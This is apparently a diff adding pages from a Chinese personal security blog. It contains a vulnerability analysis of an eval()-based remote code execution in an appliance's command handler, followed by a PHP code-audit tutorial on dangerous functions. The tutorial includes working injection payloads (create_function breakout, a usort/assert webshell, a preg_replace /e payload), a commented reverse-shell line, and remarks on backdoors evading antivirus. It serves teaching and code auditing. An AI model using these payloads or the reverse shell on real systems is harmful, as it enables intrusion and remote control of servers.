logging.error("CommandHandler Exception: {}".format(e))
raise tornado.web.HTTPError(400)

def yamin_send_back(self, code, msg):
logging.debug('msg:' + str(msg))
self.write(msg)
self.flush()
self.finish()
return


conf, store = {}, {}


if not initStore():
sys.exit(-1)

app = tornado.web.Application([
(r"/", CommandHandler),
])
+

路由处理函数routeCommand

+
def routeCommand(commandline, handler):
global conf
if not commandline:
return False, "Invalid command"

if len(commandline) > 4096 or len(commandline) < 4:
return False, "Invalid command"

command, args = None, None
try:
l = commandline.split('|', 1)
command, args = l[:2] if len(l) > 1 else (l[0], '')
except Exception as e:
return False, "Cannot parse {}:{}".format(commandline, e)

stage = getStage()
if command not in commands[stage]:
return False, "Invalid command {0} at stage {1}".format(command, stage)
if stage in (2, 3) and not initStore():
return False, "Unavailable service"

conf['server'] = handler
try:
command = command.replace('-', '_')
return eval(command)(args=args.split('|'), conf=conf, store=store)
except Exception as e:
return False, e
+

这段函数就是通过处理不同的command分别调用不同的函数

+
return eval(command)(args=args.split('|'), conf=conf, store=store)
+

这个command 也有一段列表,也就是

+
commands = [
# bootstrap.sh
['dummy', 'ping', 'init-dbs', 'set-init-stage', 'call-upgrade-dbs', 'get-suid',
'get-company-uuid', 'set-company-init', 'set-hasher-link', 'verify-passwd'],
# cli.py
['dummy', 'ping', 'set-net', 'get-net', 'get-suid', 'set-hasher-link', 'set-userinfo', 'get-command-result',
'set-init-stage', 'get-init-stage', 'update-serverjson', 'get-company-uuid', 'set-company-init', 'verify-passwd'],
# config system via master
['dummy', 'ping', 'set-net', 'get-net', 'set-system', 'set-license', 'get-net2', 'get-backup-config', 'set-backup-run',
'set-userinfo', 'get-license', 'get-userinfo', 'get-datetime', 'get-company-uuid', 'set-backup-test', 'set-backup-config', 'get-license-info',
'set-passwd', 'set-init-stage', 'get-init-stage', 'set-datetime', 'set-ntp', 'get-ntp', 'get-zonelist', 'set-hasher-link', 'get-uptime','set-firstconfig',
'set-certificate', 'get-if-pw-changed', 'set-nginx-reload', 'set-company-init', 'get-greeting-message-status', 'get-backup-filelist-v2', 'set-makeAgent',
'set-start-init', 'get-cer-time', 'get-cer-info', 'set-zonetime', 'get-log', 'set-greeting-message-status', 'get-command-result', 'set-move-file',
'get-mail-info', 'set-mail-info', 'restart-appliance', 'update-serverjson', 'get-suid', 'apply-hotfix', 'get-license-preview', 'set-customziedId',
'verify-passwd', 'change-service-status', 'get-service-status', 'get-remote-status', 'get-company-list', 'get-sms-setting',
'disable-remote', 'get-remote-token', 'get-cpuMem', 'get-cpuMem2', 'get-disk', 'get-upgrade-integrity', 'get-upgrade-log', 'get-company-code',
'get-account-state', 'unlock-account', 'set-mp-time', 'get-login-failed-count', 'get-license-expired', 'get-current-license-info', 'get-block-incoming-logs'],
# system is running
['dummy', 'ping', 'set-passwd', 'set-service', 'get-if-pw-changed', 'get-net2', 'get-command-result', 'set-backup-test', 'set-backup-config',
'set-certificate', 'set-license', 'set-userinfo', 'set-datetime', 'set-ntp', 'get-ntp', 'get-zonelist', 'get-company-uuid',
'set-system', 'set-repo', 'download-file', 'get-backup-filelist', 'get-log', 'get-product-info', 'set-backup-run',
'get-upgrade-fileinfo', 'get-system', 'get-service-status', 'get-remote-status', 'set-service-restart-after-time-change', 'get-company-code',
'get-mail-info', 'set-mail-info', 'set-zonetime', 'get-datetime', 'set-hasher-link', 'get-backup-config', 'get-command-result', 'set-company',
'get-userinfo', 'get-license', 'set-net', 'get-net', 'set-init-stage', 'get-greeting-message-status', 'verify-passwd', 'set-firstconfig',
'get-init-stage', 'get-disk', 'get-cpuMem', 'get-cer-time', 'get-suid', 'get-cpuMem2', 'get-backup-filelist-v2', 'set-move-file',
'get-cer-info', 'get-company-code', 'restart-appliance', 'get-ehelp-ticket', 'set-greeting-message-status', 'get-about-us', 'apply-offline-package',
'set-ehelp-ticket', 'e-help', 'update-serverjson', 'e-help-download', 'get-upgrade-status', 'get-license-info', 'set-makeAgent', 'get-mt-status',
'download-upgrade-file', 'shutdown-appliance', 'get-server-agent-vers', 'get-remote-token', 'get-license-preview', 'change-service-status',
'agent-json-to-sqlite', 'send-signal-process', 'apply-hotfix', 'sync-serverjson', 'get-license-days', 'set-customziedId', 'force-restart-appliance',
'get-sms-setting', 'set-sms-setting', 'disable-remote', 'set-sms-test', 'get-company-list', 'get-uptime', 'get-upgrade-integrity',
'get-upgrade-log', 'get-account-state', 'unlock-account', 'set-mp-time', 'set-cleandisk-threshold', 'get-cleandisk-threshold', 'get-login-failed-count',
'get-license-expired', 'get-current-license-info', 'get-block-incoming-logs'],
# dummy
['get-upgrade-status', 'get-upgrade-log'],
# upgrade system via yamin-self
['dummy', 'ping', 'set-init-stage', 'get-init-stage']
]
+

上文提到的POC,在php中的相关代码如下

+
function getMessageSettingInfo($param){
return handleEmptyResult(postCommand("get-sms-setting|".$param));
}
+

它在python的逻辑是

+
def get_sms_setting(**kwargs):
try:
store = kwargs['store']
args = kwargs['args']
param = eval(args[0])
# company_id = 0
if "company_uuid" not in param:
logging.error("invalid request, not found company_uuid")
return True, setResult(1, "invalid request, not found company_uuid")
if "setting_type" not in param:
logging.error("invalid request, not found setting_type")
return True, setResult(1, "invalid request, not found setting_type")
with store['dbs'].connect() as conn:
q2 = {
"query": "CALL `mjs`.`usp_alert_get_sms_setting`(:company_uuid,:setting_type,@r)",
"args": {
"company_uuid": param['company_uuid'],
"setting_type": param['setting_type']
}
}
logging.debug("get sms setting by cmd: {}".format(q2))
res = []

def get_setting_details(result):
row = result.fetchone()
setting_info = {}
setting_info['company_uuid'] = param['company_uuid']
# setting_info['setting_id'] = row['setting_id']
setting_info['region'] = row['region']
setting_info['access_key_id'] = row['access_key_id']
setting_info['access_key_secret'] = row['access_key_secret']
setting_info['entry_point'] = row['entry_point']
setting_info['topic'] = row['topic']
setting_info['sms_template_code'] = row['sms_template_code']
setting_info['sms_template_param'] = row['sms_template_param']
setting_info['sms_sign_name'] = row['sms_sign_name']
setting_info['status'] = row['status']
res.append(setting_info)
dbs_call(get_setting_details, conn, **q2)
if not len(res):
logging.error("not obtain sms setting details")
return True, setResult(1, "not obtain sms setting details")
logging.debug("got sms setting detail: {}".format(res[0]))
return True, setResult(0, res[0])
except Exception as e:
logging.error("get_sms_setting exception: {}".format(e))
return True, setResult(1, "get_sms_setting exception: {}".format(e))
+

可以看到param = eval(args[0]) 是漏洞的触发位置,而 args[0]就是php的$param

+
$company_uuid = $_GET['company_uuid'];
$platform_sel = $_GET['platform_sel'];
$param = "{" . '"company_uuid":"'.$company_uuid .'"';
$param = $param . ',' . '"setting_type":' . $platform_sel;
$param = $param . "}";
+

可以看到 setting_type为int类型,我们即可传入恶意的python代码,最终实现rce

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/代码审计/PHP/PHP代码审计基础知识/index.html b/en/docs/个人知识库/代码审计/PHP/PHP代码审计基础知识/index.html new file mode 100644 index 0000000..f4fec03 --- /dev/null +++ b/en/docs/个人知识库/代码审计/PHP/PHP代码审计基础知识/index.html @@ -0,0 +1,767 @@ + + + + + +PHP代码审计基础知识 | wjlin0 + + + + + + + +

PHP代码审计基础知识

作者修订时间
wjlin02025-08-19 16:49:03
+

本文章主要是PHP代码审计的一些基础知识,包括函数的用法,漏洞点,偏向基础部分,个人能力有限,部分可能会出现错误或者遗漏,读者可自行补充。

+

代码执行​

+

代码执行是代码审计当中较为严重的漏洞,主要是一些命令执行函数的不适当使用。那么,常见的能够触发这类漏洞的函数有哪些呢?

+

eval()​

+

想必大家对eval()函数应该并不陌生,简而言之eval()函数就是将传入的字符串当作 PHP 代码来进行执行。

+
eval( string $code) : mixed
+

返回值​

+

eval() 返回 NULL,除非在执行的代码中 return了一个值,函数返回传递给 return的值。PHP7开始,执行的代码里如果有一个parse error,eval() 会抛出 ParseError 异常。在 PHP 7 之前,如果在执行的代码中有 parse error,eval() 返回FALSE,之后的代码将正常执行。无法使用set_error_handler()捕获 eval() 中的解析错误。

+

也就是说,我们在利用eval()函数的时候,如果我们传入的字符串不是正常的代码格式,那么就会抛出异常。所以PHP7和PHP5在这部分最大的不同是什么呢?简而言之,PHP5在代码错误格式错误之后仍会执行,而PHP7在代码发生错误之后,那么eval()函数就会抛出异常,而不执行之后的代码。

+

示例:

+
<?php
$code = "echo 'This is a PHP7';";
eval($code);
?>

执行结果——>This is a PHP```


那么如果我要执行系统命令呢?这个时候就需要用到PHP中的`system`函数。

```php
<?php
$code = "system('whoami');";
eval($code);
?>

执行结果——>desktop-m61j5j6\admin
+

那么到此,我们就可以结合其他姿势通过这个函数实现任意代码执行了。

+

assert()​

+

PHP

+
assert( mixed $assertion[, string $description] ) : bool
+

PHP

+
assert( mixed $assertion[, Throwable $exception] ) : bool
+

参数​

+
    +
  • assertion
  • +
+

断言。在PHP 5 中,是一个用于执行的字符串或者用于测试的布尔值。在PHP 7 中,可以是一个返回任何值的表达式,它将被执行结果用于判断断言是否成功。

+
    +
  • description
  • +
+

如果assertion失败了,选项description将会包含在失败信息里。

+
    +
  • exception
  • +
+

在PHP 7中,第二个参数可以是一个Throwable对象,而不是一个字符串,如果断言失败且启用了assert.exception,那么该对象将被抛出

+

assert()配置​

+ + + + + + + + + + + + + + + + + + + + +
配置项默认值可选值
zend.assertions11 - 生成和执行代码(开发模式) 0 - 生成代码,但在执行时跳过它 -1 - 不生成代码(生产环境)
assert.exception01 - 断言失败时抛出,可以抛出异常对象,如果没有提供异常,则抛出AssertionError对象实例 0 - 使用或生成Throwable,仅仅是基于对象生成的警告而不是抛出对象(与PHP 5 兼容)
+

所以搞了这么多,assert()函数到底是干什么的呢?用我的理解来说,assert()函数是处理异常的一种形式,相当于一个if条件语句的宏定义一样。

+

一个PHP 7 中的示例

+
<?php
assert_options(ASSERT_EXCEPTION, 1); // 设置在断言失败时产生异常
try {
assert(1 == 2, new AssertionError('因为1不等于2,所以前面断言失败,抛出异常')); // 用 AssertionError 异常替代普通字符串
} catch (Throwable $error) {
echo $error->getMessage();
}
?>


执行结果——>因为1不等于2,所以前面断言失败,抛出异常
+

这里就是实例化一个对象,用这个对象来抛出异常。

+

一个php 5 中的示例

+
<?php
assert(1 == 2,'前面断言失败,抛出异常');
?>

执行结果——>Warning: assert(): 前面断言失败,抛出异常 failed in D:\phpstudy_pro\WWW\1.php on line
<?php
assert(1 == 2);
?>

执行结果——>Warning: assert(): Assertion failed in D:\phpstudy_pro\WWW\1.php on line ```


所以PHP 7 相较于PHP 5 就是多了个用Throwable来发出警告。

那么,如果前面断言成功呢?会发生什么呢?来个最简单,也是我们比较喜欢的示例

```php
<?php
$code = "system(whoami)"
assert($code);
?>

执行结果——>desktop-m61j5j6\admin
+

这段代码在PHP 5 和PHP 7 中都会返回命令执行结果,虽然PHP 7 中对断言函数的参数稍作了改变,但是为了兼容低版本,所以还是会直接返回结果。

+

preg_replace()​

+

通过函数名字我们也应该能够了解函数大概作用,此函数执行一个正则表达式的搜索和替换。

+
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
+

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

+

参数说明:​

+
    +
  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  • +
  • $replacement: 用于替换的字符串或字符串数组。
  • +
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • +
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • +
  • $count: 可选,为替换执行的次数。
  • +
+

那这个函数跟我们命令执行有什么关系呢?仅仅看上面的官方解释似乎看不出什么,但是preg_repace()有一个模式是/e模式,这个模式就会发生代码执行的问题,为什么呢?

+

看一个案例

+
<?php
function Ameng($regex, $value){
return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
}
foreach ($_GET as $regex => $value){
echo Ameng($regex, $value) . "\n";
}
?>
+

上面这段我们需要注意的就是\1,\1在正则表达式是反向引用的意思,简而言之就是指定一个子匹配项。

+

针对上面案例,我们来个payload:

+
payload=/?.*={${phpinfo()}}
所以语句就成了这样
preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
+

那么我们直接把这段代码放到页面

+
<?php
preg_replace('/(.*)/ei', 'strtolower("\\1")', '{${phpinfo()}}');
?>
+

访问页面,结果如下:

+

img

+

我们看到成功执行了代码。

+

但是这里我是直接将这段代码写到了文件里,那么如果我们是通过GET传参得到参数,这里针对上面那个案例就需要注意一点,在通过GET传参时,.*会被替换为_*导致我们要的正则被替换了,达不到我们的效果,所以这里可用使用一些其他的正则表达式来达到目的,比如通过GET传参时我们的参数可以传入\S*从而达到同样目的。所以以后再遇到这个函数的时候,要留个心眼了。不过,这里要补充一点,就是preg_replace()函数在PHP 7 后便不再支持,使用preg_replace_callback()进行替换了,取消了不安全的\e模式。

+

create_function()​

+

create_function()用来创建一个匿名函数

+
create_function( string $args, string $code) : string
+

参数​

+
    +
  • string $args 声明的函数变量部分
  • +
  • string $code 要执行的代码
  • +
+

返回值​

+

返回唯一的函数名称作为字符串或者返回FALSE错误

+

create_function()函数在内部执行eval()函数,所以我们就可以利用这一点,来执行代码。当然正因为存在安全问题,所以在PHP 7.2 之后的版本中已经废弃了create_function()函数,使用匿名函数来代替。所以这里为了演示这个函数,我采用的是PHP 5 的环境。那么这个函数到底怎么用呢?

+

那么来看我写的一个简单的案例

+
<?php
$onefunc = create_function('$a','return system($a);');
$onefunc(whoami);
?>

执行结果——>desktop-m61j5j6\admin
+

我们看到使用此函数为我们相当于创造了一个匿名的函数,给它赋以相应的变量,就执行了我们要执行的代码。

+

那么接下来我们来看一个简单的案例

+
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>
+

这个主要功能就是实现排序,这段代码就调用了create_function()函数,那么我们能否利用这个函数执行我们想要执行的代码呢?

+

当然可以,我们只需要在传参时将前面的符号闭合,然后输入我们想要执行的代码即可。

+
payload='"]);}phpinfo();/*
执行payload前:$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
执行payloda后:$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
+

看到这里,你可能会有稍微疑惑,就是你闭合就闭合吧,为什么后面多了个;},不知道你是否想到了这一点?

+

那么我就来分析一下这个,上面的那段执行代码,实际上就是一个匿名函数的创建,既然是一个函数,注意是一个函数,那么你觉得有没有花括号呢?看我如下代码

+
<?php
//未闭合之前
function sort($a,$b){
' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
}
//闭合之后
function sort($a,$b){
' return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}
?>
+

可以看到,我们借用了匿名函数的位置,插入了我们要执行的代码,然后等这个匿名函数被create_function当作$code执行的时候,是不是代码就被执行了。

+

结果:

+

img

+

那么creat_function函数还有别的用法吗?我们将上面一个案例简单的修改一下,代码如下:

+
<?php
$onefunc = create_function("","die(`cat flag.php`)");
$_GET['func_name']();
die();
?>
+

代码简单的来看,我们只需要执行$onefunc就能得到flag,但是我们不知道这个函数的名称。如果在不知道函数名称的情况下执行函数呢?这里就用到了creat_function函数的一个漏洞。这个函数在creat之后会自动生成一个函数名为%00lambda_%d的匿名函数。%d的值是一直递增的,会一直递增到最大长度直到结束。所以这里可以通过多进程或者多线程访问,从而看到flag。

+

所以,以后再代码中如果看到调用create_function()要小心一点,但是如果是CTF题目的话,不会这么直接就吧这个函数暴露给你,它可能会用到拼接或者替换来构造这个函数。最后再强调一下,create_function函数在PHP 7.2 版本之后就已经被废弃了。

+

array_map()​

+

array_map()为数组的每个元素应用回调函数

+
array_map( callable $callback, array $array1[, array $...] ) : array
+

array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给array_map() 数组数量,两者必须一样。

+

参数​

+
    +
  • callback:回调函数,应用到每个数组里的每个元素。
  • +
  • array1:数组,遍历运行callback函数。
  • +
  • ...:数组列表,每个都遍历运行callback函数。
  • +
+

返回值​

+

返回数组,包含callback函数处理之后array1的所有元素。

+

说了这么多官方的函数解释,那么这个函数到底如何使用呢?简而言之,这个函数的作用可以这么直白的解释一下。你本来有一个数组,然后我通过array_map函数将你这个数组当作参数传入,然后返回一个新的数组。见下图。

+

img

+

代码示例:

+
<?php
$old_array = array(1, 2, 3, 4, 5);
function func($arg){
return $arg * $arg;
}
$new_array = array_map('func',$old_array);
var_dump($new_array);
?>


执行结果——>
array(5) {
[0]=>
int(1)
[1]=>
int(4)
[2]=>
int(9)
[3]=>
int(16)
[4]=>
int(25)
}
+

通过上述代码,我们大概知道这个函数就是调用回调函数(用户自定义的函数)来实现对现有数组的操作,从而得到一个新的数组。

+

那么功能我知道了,可是这个和代码执行有什么关系呢?如何能够利用这个函数执行代码呢?且看下面所示代码。

+
<?php
$func = 'system';
$cmd = 'whoami';
$old_array[0] = $cmd;
$new_array = array_map($func,$old_array);
var_dump($new_array);
?>


执行结果——>
desktop-m61j5j6\admin
array(1) {
[0]=>
string(21) "desktop-m61j5j6\admin"
}
+

这段代码就是,通过array_map()这个函数,来调用用户自定义的函数,而用户这里的回调函数其实就是system函数,那么就相当于我们用system函数来对旧数组进行操作,得到新的数组,那么这个新的数组的结果就是我们想要的命令执行的结果了。

+

call_user_func()​

+

call_user_func()是把第一个参数作为回调函数调用

+
call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed
+

参数​

+

第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。

+
    +
  • callback:即将被调用的回调函数
  • +
  • parameter:传入回调函数的参数
  • +
+

这个函数还是非常好理解的,看一段简单的示例代码

+
<?php
function callback($a,$b){
echo $a . "\n";
echo $b;
}
call_user_func('callback','我是参数1','我是参数2');
?>


执行结果——>
我是参数我是参数```


可以看到此函数作用就是调用了笔者自定义的函数。那么这个如何实现代码执行呢?好说,你在前面自定义的函数中加入能执行命令的代码不久可以代码执行了。

示例代码:

```php
<?php
function callback($a){
return system($a);
}
$cmd = 'whoami';
call_user_func('callback',$cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

call_user_func_array()​

+

这个函数名称跟上没什么大的差别,唯一的区别就在于参数的传递上,这个函数是把一个数组作为回调函数的参数

+
call_user_func_array( callable $callback, array $param_arr) : mixed
+

参数​

+
    +
  • callback:被调用的回调函数
  • +
  • param_arr:要被传入回调函数的数组,这个数组需要是索引数组
  • +
+

示例代码

+
<?php
function callback($a,$b){
echo $a . "\n";
echo $b;
}
$onearray = array('我是参数1','我是参数2');
call_user_func_array('callback',$onearray);
?>


执行结果——>
我是参数我是参数```


示例代码:

```php
<?php
function callback($a){
return system($a);
}
$cmd = array('whoami');
call_user_func_array('callback',$cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

array_filter()​

+

用回调函数过滤数数组中的单元

+
array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array
+

依次将array数组中的每个值传到callback函数。如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

+

参数​

+
    +
  • array:要循环的数组
  • +
  • callback:使用的回调函数。如果没有提供callback函数,将删除array中所有等值为FALSE的条目。
  • +
  • flag:决定callback接收的参数形式
  • +
+

代码示例(这里看官方的就行,很详细):

+
<?php
function odd($var)
{
// returns whether the input integer is odd
return($var & 1);
}

function even($var)
{
// returns whether the input integer is even
return(!($var & 1));
}

$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);

echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?>


执行结果——>
Odd :
Array
(
[a] => [c] => [e] => )
Even:
Array
(
[0] => [2] => [4] => [6] => )
+

从上面代码我们知道,这个函数作用其实就是过滤,只不过这个过滤调用的是函数,而被过滤的是传入的参数。到这里你心里有没有代码执行的雏形了?

+

代码示例:

+
<?php
$cmd='whoami';
$array1=array($cmd);
$func ='system';
array_filter($array1,$func);
?>


执行结果——>
desktop-m61j5j6\admin
+

usort()​

+

使用用户自定义的比较函数对数组中的值进行排序

+
usort( array &$array, callable $value_compare_func) : bool
+

参数​

+
    +
  • array:输入的数组
  • +
  • cmp_function:在第一个参数小于、等于或大于第二个参数时,该比较函数必须相应地返回一个小于、等于或大于0的数
  • +
+

代码示例:

+
<?php
function func($a,$b){
return ($a<$b)?1:-1;
}
$onearray=array(1,3,2,5,9);
usort($onearray, 'func');
print_r($onearray);
?>

执行结果——>
Array
(
[0] => [1] => [2] => [3] => [4] => )
+

可见实现了逆序的功能。那么倘若我们把回调函数设计成能够执行代码的函数,是不是就可以执行我们想要的代码了呢?

+

代码示例:

+
<?php 
usort(...$_GET);
?>

payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert
POST传参: x=phpinfo();
+

usort的参数通过GET传参,第一个参数也就是$_GET[0],随便传入一个数字即可。第二个参数也就是$_GET[1]是我们要调用的函数名称,这里采用的是assert函数。

+

执行结果:

+

img

+

uasort()​

+

这个跟上一个差不多,区别不是很大。此函数对数组排序并保持索引和单元之间的关联。也就是说你这个排完序之后呢,它原来对应的索引也会相应改变,类似于“绑定”。

+
uasort( array &$array, callable $value_compare_func) : bool
+

参数​

+
    +
  • array:输入的数组
  • +
  • value_compare_func:用户自定义的函数
  • +
+

这里用的仍然官方例子(比较好理解)

+
<?php
// Comparison function
function cmp($a, $b) {
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}

// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);

// Sort and print the resulting array
uasort($array, 'cmp');
print
?>

执行结果——>
Array
(
[a] => [b] => [c] => - [d] => - [e] => [f] => [g] => [h] => -)
Array
(
[d] => - [h] => - [c] => - [e] => [g] => [a] => [f] => [b] => )
+

我们发现,在排完序之后索引也跟着值的位置变化而变化了。那么代码执行的示例代码其实也和上一个差不多。

+

代码示例:

+
<?php
$a = $_GET['a'];
$onearray = array('Ameng', $_POST['x']);
uasort($onearray, $a);
?>
+

执行结果:

+

img

+

总结​

+

看完这里不知道你对代码审计中的代码执行部分是否有另一种想法?我的想法就是这个是和后门联系在一起的。我们可以看到很多函数都具有构造执行命令的条件,而且其中很多函数也的确被用在后门中,特别像后面几个回调函数,在后门中更是常见。当然这些后门函数也早已被安全厂商盯住,所以大部分已经无法直接免杀,所以想要免杀就需要结合其他姿势,比如替换、拼接、加密等等。但是这些知识在CTF中还是比较容易出现的。

+

命令执行​

+

说完代码执行,我们再来看看命令执行。常见的命令执行函数有哪些呢?

+

system()​

+

这个函数想必我们都是比较熟悉的,此函数就是执行外部指令,并且显示输出

+
system( string $command[, int &$return_var] ) : string
+

参数​

+
    +
  • command:必需。要执行的命令
  • +
  • return_var:可选。若设置了这个参数,那么命令执行后的返回状态就会被放到这个变量中
  • +
+

示例代码:

+
<?php
$cmd = 'whoami';
system($cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

exec()​

+

这个其实和上面system函数没有太大区别,都是执行外部程序指令,只不过这个函数多了一个参数,可以让我们把命令执行输出的结果保存到一个数组中。

+
exec( string $command[, array &$output[, int &$return_var]] ) : string
+

参数​

+
    +
  • command:必需。要执行的命令
  • +
  • output:可选。如果设置了此参数,那么命令执行的结果将会保存到此数组。
  • +
  • return_var:可选。命令执行的返回状态。
  • +
+
<?php
$cmd = 'whoami';
echo exec($cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

shell_exec()​

+

此函数通过shell环境执行命令,并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,那么就返回NULL

+
shell_exec( string $cmd) : string
+

参数​

+
    +
  • cmd:要执行的命令
  • +
+

代码示例:

+
<?php
$cmd = 'whoami';
echo shell_exec($cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

passthru()​

+

执行外部程序并且显示原始输出。既然我们已经有执行命令的函数了,那么这个函数我们什么时候会用到呢?当所执行的Unix命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代exec()或system()函数

+
passthru( string $command[, int &$return_var] ) : void
+

参数​

+
    +
  • command:要执行的命令
  • +
  • return_var:Unix命令的返回状态将被记录到此函数。
  • +
+

代码示例:

+
第一你可以这么写
<?php
passthru('whoami'); //直接将结果返回到页面
?>
第二你可以这么写
<?php
passthru('whoami',$result); //将结果返回到一个变量,然后通过输出变量值得到输出内容
echo $result;
?>
+

pcntl_exec()​

+

在当前进程空间执行指定程序。关键点就在于进程空间,倘若我现在设定一个条件,你只有在某个子进程中才能读取phpinfo,那这个时候,我们就需要用到这个函数了。

+
pcntl_exec( string $path[, array $args[, array $envs]] ) : void
+

参数​

+
    +
  • path:path必须时可执行二进制文件路径或在一个文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)
  • +
  • args:此参数是一个传递给程序的参数的字符串数组
  • +
  • envs:环境变量,这个想必大家都很熟悉,只不过这里强调一点,这里传入的是数组,数组格式是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。
  • +
+

示例代码:

+
//father
<?php
pcntl_exec('/usr/local/bin/php', ['2.php']);
?>
+
//son
<?php
while(true){
echo 'ok';
}
?>
+

popen()​

+

此函数使用command参数打开进程文件指针。如果出错,那么该函数就会返回FALSE。

+
popen(command,mode)
+

参数​

+
    +
  • command:要执行的命令
  • +
  • mode:必需。规定连接的模式 +
      +
    • r:只读
    • +
    • w:只写(打开并清空已有文件或创建一个新文件)
    • +
    +
  • +
+

代码示例:

+
<?php
$file = popen("demo.txt","r");
pclose($file);
?>

<?php
$file = popen("/bin/ls","r");
//some code to be executed
pclose($file);
?>
+

proc_open()​

+

此函数执行一个命令,并且打开用来输入或者输出的文件指针

+
proc_open( string $cmd, array $descriptorspec, array &$pipes[, string $cwd = NULL[, array $env = NULL[, array $other_options = NULL]]] ) 
+

此函数其实和popen函数类似,都是执行命令

+

参数​

+
    +
  • cmd:要执行的命令
  • +
  • descriptorspec:索引数组。数组中的键值表示描述符,元素值表示 PHP 如何将这些描述符传送至子进程。0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。
  • +
  • pipes:将被置为索引数组,其中的元素是被执行程序创建的管道对应到PHP这一段的文件指针。
  • +
  • cwd:要执行命令的初始工作目录。必需是绝对路径。此参数默认使用 NULL(表示当前 PHP 进程的工作目录)
  • +
  • env。要执行命令所使用的环境变量。此参数默认为 NULL(表示和当前 PHP 进程相同的环境变量)
  • +
  • other_options:可选。附加选项 +
      +
    • suppress_errors (仅用于 Windows 平台):设置为 TRUE 表示抑制本函数产生的错误。
    • +
    • bypass_shell (仅用于 Windows 平台):设置为 TRUE 表示绕过 cmd.exe shell。
    • +
    +
  • +
+

说白了,其实就是执行命令,只不过其中多了一些选项,包括目录的,环境变量的等。

+

示例代码:

+
$descriptorspec = array(
0 => array("pipe", "r"), //标准输入,子进程从此管道读取数据
1 => array("pipe", "w"), //标准输出,子进程向此管道写入数据
2 => array("file", "/opt/figli/php/error-output.txt","a") //标准错误,写入到指定文件
);


$process = proc_open("ls -a", $descriptorspec, $pipes);

if(is_resource($process)){

echo stream_get_contents($pipes[1]);
fclose($pipes[1]);

proc_close($process); //在调用proc_close之前必须关闭所有管道
}
+

文件包含​

+

include()​

+

include将会包含语句并执行指定文件

+
include 'filename';
+

关键点就在于执行指定文件,执行给了我们代码执行的机会。倘若此时我们构造了一个后门文件,需要在目标机器执行进行shell反弹,那么如果代码中有include而且没有进行过滤,那么我们就可以使用该函数来执行我们的后门函数。下面我来演示一下。

+

示例代码(1.php):

+
<?php
highlight_file(__FILE__);
$file = $_GET['file'];
include $file;
?>
+

示例代码(2.php):

+
<?php
//这里可以使用PHP来反弹shell,我这里只是演示
//$sock=fsockopen("127.0.0.1",4444);exec("bin/bash -i <&3 >&3 2>&3");
echo '<br><h1>[*]backdoor is running!</h1>';
?>
+

执行结果:

+

img

+

include_once()​

+

include_once与include没有太大区别,唯一的其区别已经在名称中体现了,就是相同的文件只包含一次。其他功能和include_once一样,只是增加对每个文件包含的次数。

+

require()​

+

require的实现和include功能几乎完全相同,那既然一样为什么还要多一个这样的函数呢?( 我也不知道)

+

其实两者还是有点区别的,什么区别呢?这么说,如果你包含的文件的代码里面有错误,你觉得会发生什么?是继续执行包含的文件,还是停止执行呢?所以区别就在这里产生了。

+

require在出错时会导致脚本终止,而include在出错时只是发生警告,脚本还是继续执行。

+

require_once()​

+

这个我觉得你看完上面的,应该就懂了。这两者关系和include与include_once的关系是一样的。

+

总结​

+

文件包含有很多利用手段,其中在实际环境中,例如我们向服务器写入了后门,但是我们无法直接连接服务器,那么如果有文件包含函数,我们可以通过文件包含函数包含执行我们的后门函数,让服务器反弹连接我们。岂不美哉。

+

文件读取(下载)​

+

file_get_contents()​

+

函数功能是将整个文件读入一个字符串

+
file_get_contents(path,include_path,context,start,max_length)
+

参数​

+
    +
  • filename:要读取文件的名称。
  • +
  • include_path:可选。如果也想在 include_path 中搜索文件,可以设置为1。
  • +
  • context:可选。规定句柄的位置。
  • +
  • start:可选。规定文件中开始读取的位置。
  • +
  • max_length:可选。规定读取的字节数。
  • +
+

代码示例:

+
<?php
echo file_get_contents('demo.txt');
?>

执行结果——>
I am a demo text
+

fopen()​

+

此函数将打开一个文件或URL,如果 fopen() 失败,它将返回 FALSE 并附带错误信息。我们可以通过在函数名前面添加一个 @ 来隐藏错误输出。

+
